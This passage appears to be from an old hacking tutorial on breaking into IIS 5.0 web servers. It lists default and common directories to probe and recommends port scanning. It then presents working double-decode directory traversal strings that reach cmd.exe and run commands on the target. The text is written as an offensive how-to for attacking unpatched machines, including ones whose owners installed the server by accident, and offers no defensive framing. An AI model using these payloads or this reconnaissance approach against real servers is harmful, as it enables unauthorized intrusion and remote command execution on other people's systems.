has preserved the default directory structure and such. A virtual directory is a directory that canbe accessed by IIS without the directory actually being in the virtual root. Virtual Directories thatyou should check for first are:
/_vti_bin//scripts//msadc//iissamples//_vti_pvt//_vti_cnf//_private/
"What good does this do?" you might ask? Well, first it gives you a feel for the directory structureof the machine. And second, if they have failed to patch their machine, you might be able toexploit it using one of the technique's I describe in this paper. After checking those firstdirectories, you can check for some common directories on websites that have chosen not tokeep the default structure such as these.
/cgi-bin/ /bin/ /admin/ /config/ /asp//cfg/ /exe/ /php/ /perl/ /binary//src/ /tar/ /include/ /topics/ /pwd//private/ /conf/ /logs/ /log/ /audio//sound/ /pvt/ /images/ /public/ /home//cpp/ /db/ /data/ /news/
But don't let this list limit you. You must know as much as possible about the system. So use your imaginiation. Ok? Done using your imagination. Ready for the 31337 stuff? Lets begin. If the webpage has a default under construction page, it is most likely that the Server was installed byaccident and that the current user of the computer does not know about it. It has happened manytimes. At least 5 times with people I know. However whether or not they installed it by accident,the known vulnerabilities for the default installation are worthless if they used the windowsupdate. Which eradicates at least 10-20 exploits. Also before you start hacking away at the server you want do a port scan, if you haven't already, and see if ftp is running it might come in handy aswe will discuss later.The first exploits I will discuss are the Double Decode(sometimes called the SuperflousDecode)Directory Traversal Attacks. These are easily exploitable on a default installation of IIS5.0. Some people think that you must have a myriad of tools to hack. This is a very clean cutexample that prooves you can get root, armed with only a web browser. To exploit this you mustfirst find a directory with execute permissions. Such directories by default are: scripts, iissamples,msadc, and _vti_bin. In a possible exploit request string you could have"http://55.55.55.55/scripts" & *Exploit String*. I put *A Exploit String there because there are manyto choose from as listed below.(These exploit strings all execute the dos command dir, whichgives directory listing)
/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+
Leave a Comment